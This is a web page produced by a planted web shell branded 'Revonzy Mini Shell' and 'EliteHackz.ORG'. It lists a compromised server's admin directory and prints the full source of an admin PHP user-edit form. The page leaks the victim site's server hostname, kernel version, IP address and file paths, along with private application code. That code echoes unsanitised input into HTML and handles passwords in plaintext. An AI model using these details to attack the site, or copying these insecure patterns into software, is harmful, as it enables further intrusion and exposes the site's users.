Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/governmentofindia.in/dt_admin/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/governmentofindia.in/dt_admin/edit-user-report.php

<?php
    require_once('lib/functions.php');
	$db = new login_function();
	
		$id				     =	"";
		$full_name			 =	"";
		$mobile_number		 =   "";
		$password		     =	"";
		$account_status      =	"";
		$date         		 =	"";
		$time             	 =	"";
		
 	if(isset($_GET['edit_id']))
	{ 
		$var_edit_id	=	$_GET['edit_id'];
		
		$_SESSION['session_edit_id']	=	$var_edit_id;
		
		$enquiry_data	=	array();
		$enquiry_data	=	$db->get_question_user_from_id($var_edit_id);
		
		if(!empty($enquiry_data))
		{
			$id				    =	$enquiry_data[0];
			$full_name		    =	$enquiry_data[1];
			$mobile_number	    =	$enquiry_data[2];
			$password			=	$enquiry_data[3];
			$account_status     =	$enquiry_data[4];
			$date 				=	$enquiry_data[5];
			$time      			=	$enquiry_data[6];
		
		}
	}
    $flag = 0;
	$success_message	=	"";
	if(isset($_POST['submit']))
	{ 
		$id                    	 =    $_SESSION['session_edit_id'];
		$full_name            	 =     $_POST['full_name'];
		$mobile_number        	 =     $_POST['mobile_number'];
		$password          		 =     $_POST['password'];
		
			if ($flag ==0)
		{ 
			
			if($db->update_user_record($id,$full_name,$mobile_number,$password))
			{
				$success_message	=	3;
			}				
			
		}
	}
   ?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width initial-scale=1.0">
    <title>Edit User Report</title>
    <!-- GLOBAL MAINLY STYLES-->
   <link href="css/bootstrap.min.css" rel="stylesheet" />
    <link href="css/font-awesome.min.css" rel="stylesheet" />
    <link href="css/line-awesome.min.css" rel="stylesheet" />
    <link href="css/themify-icons.css" rel="stylesheet" />
    <link href="css/animate.min.css" rel="stylesheet" />
    <link href="css/toastr.min.css" rel="stylesheet" />
    <link href="css/bootstrap-select.min.css" rel="stylesheet" />
	<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.2/css/all.css">
  
    <!-- PLUGINS STYLES-->
    <!-- THEME STYLES-->
    <link href="css/main.min.css" rel="stylesheet" />
    <!-- PAGE LEVEL STYLES-->
<style>
.col-md-8
{
	width:100%;
	margin:auto;
	margin-top:20px;
}

@media only screen and (max-width: 600px) {
	.col-md-8
	{
		margin:30px;
		width:100%;
	}
	.alert
	{
		width:100%;
	}
	.side-row
	{
		width:49%;
		display:inline-table;
	}
}

</style>
</head>
<body class="fixed-navbar">
<div class="page-wrapper">
<?php include('header.php'); ?>
<?php include('side-bar.php'); ?>
<div class="content-wrapper">
<div class="row">
<div class="col-md-12">

				 <div class="col-md-8">
                        <div class="ibox">
                            <form class="form-pink" method="post"  name="myForm"  onsubmit="return validateForm()" autocomplete="off">
							<?php
								if($success_message ==3)
								{
								?>
									<div class="alert alert-success">
									<span class="alert-link">Success!</span> Updated.
									</div>
								<?php
								}
								?>	
								
								<div class="ibox-head">
                                    <div class="ibox-title"> <i class="sidebar-item-icon fas fa-user-cog"></i>User Form</div>
                                </div>
                                <div class="ibox-body ">
                                  <div class="form-group mb-4">
								  <label class="form-group mb-4 set-row"><b>Full Name:</b></label>

									<div class="input-group-icon input-group-icon-left">
										<span class="input-icon input-icon-left"><i class="fas fa-question-circle"></i></span>
										<input type="text"  class="form-control form-control-air" placeholder="Enter Full Name" value="<?php echo $full_name; ?>" name="full_name"/>
									</div>
								</div>
								<div class="form-group mb-4">
								  <label class="form-group mb-4 set-row"><b>Mobile Number:</b></label>

									<div class="input-group-icon input-group-icon-left">
										<span class="input-icon input-icon-left"><i class="fas fa-question-circle"></i></span>
										<input type="text"  class="form-control form-control-air" placeholder="Enter Mobile Number"  value="<?php echo $mobile_number; ?>"name="mobile_number"/>
								 
								</div>
								</div>
								<div class="form-group mb-4">
								  <label class="form-group mb-4 set-row"><b>Password:</b></label>

									<div class="input-group-icon input-group-icon-left">
										<span class="input-icon input-icon-left"><i class="fas fa-dot-circle"></i></span>
										<input type="password"  class="form-control form-control-air" placeholder="Enter password" value="<?php echo $password; ?>" name="password"  />
									</div>
								</div>
								<div class="ibox-footer">
                                   <center> <button class="btn btn-pink btn-air mr-2" type="submit" name="submit"> Update</button> </center>
                                   
                                </div>
                            </form>
                        
                        </div>
                    </div>
                </div>
                <?php include('footer.php'); ?>
			</div>
    </div>
    <?php include('search.php'); ?>
    <!-- END SEARCH PANEL-->
    <!-- BEGIN THEME CONFIG PANEL-->
    
    <!-- END THEME CONFIG PANEL-->
    <!-- BEGIN PAGA BACKDROPS-->
    <div class="sidenav-backdrop backdrop"></div>
    <div class="preloader-backdrop">
        <div class="page-preloader">Loading</div>
    </div>
    <!-- END PAGA BACKDROPS-->
    <!-- New question dialog-->
    
    <!-- End New question dialog-->
    <!-- QUICK SIDEBAR-->
    <?php include('right-side-bar.php'); ?>
	
	
   <script src="js/jquery.min.js"></script>
    <script src="js/popper.min.js"></script>
    <script src="js/bootstrap.min.js"></script>
    <script src="js/metisMenu.min.js"></script>
    <script src="js/jquery.slimscroll.min.js"></script>
    <script src="js/idle-timer.min.js"></script>
    <script src="js/toastr.min.js"></script>
    <script src="js/jquery.validate.min.js"></script>
    <script src="js/bootstrap-select.min.js"></script>
    <!-- PAGE LEVEL PLUGINS-->
    <!-- CORE SCRIPTS-->
    <script src="js/app.min.js"></script>
    <!-- PAGE LEVEL SCRIPTS-->
</body>

</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4